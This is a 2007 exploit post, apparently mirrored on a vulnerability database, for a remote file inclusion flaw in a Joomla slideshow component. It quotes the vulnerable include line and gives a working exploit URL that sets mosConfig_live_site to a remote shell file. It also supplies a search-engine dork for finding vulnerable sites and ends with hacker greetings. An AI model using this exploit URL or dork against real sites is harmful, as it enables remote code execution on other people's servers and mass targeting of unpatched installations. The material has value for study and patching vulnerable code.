Joomla Component com_slideshow Remote File Inclusion Vulnerability

🗓️ 22 Sep 2007 00:00:00Reported by RootType

Joomla Component com_slideshow Remote File Inclusion Vulnerability. High Risk. Exploit allows inclusion of remote files


                                                --==+===================&nbsp;Electronic&nbsp;Security&nbsp;Team&nbsp;(www.Yee7.com)&nbsp;====================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;Flash&nbsp;Slide&nbsp;Show&nbsp;(admin.slideshow1.php)&nbsp;-&nbsp;RFI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

Script&nbsp;Name:&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;Flash&nbsp;Slide&nbsp;Show&nbsp;Image&nbsp;Gallery
exploit:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;[High&nbsp;Risk]
Author:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShockShadow&nbsp;-&nbsp;Electronic&nbsp;Security&nbsp;Team&nbsp;(www.Yee7.com)
Home:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.Yee7.com
Download:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.joomlahacks.com/component/option,com_remository/Itemid,41/func,download/id,491/chk,cb182dd5ecd024f36f7a8fa98dd8935e/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.box.net/shared/6xeh4doczd
Search&nbsp;Key:&nbsp;&nbsp;&nbsp;inurl:/com_slideshow/

##############################

Line&nbsp;3&nbsp;of&nbsp;admin.slideshow1.php
&gt;&nbsp;&nbsp;&nbsp;&nbsp;include(&nbsp;&quot;$mosConfig_live_site/components/com_slideshow1/about.html&quot;&nbsp;);
==============

eXploit:&nbsp;http://domain.com/Joomla_Path/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=http://shell.txt

###############################
by:&nbsp;ShockShadow
GrEEtZ&nbsp;t0:
Mr.HaCkEr,&nbsp;Mr-m07,&nbsp;Al-Shikh,&nbsp;ThE&nbsp;WhitE&nbsp;WolF,&nbsp;HuRrIcAnE,&nbsp;S0m.Ph,&nbsp;KEENEST,&nbsp;HamzaBX1,&nbsp;Alakrb&nbsp;Almoftres,&nbsp;Falcon&nbsp;Hammdan,&nbsp;RoMaNcYxHaCkEr
Medo&nbsp;Hacker,&nbsp;rUn-vIrUs,&nbsp;Dr.eXe,&nbsp;zAx
AND&nbsp;ALL&nbsp;FRIENDS

22 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1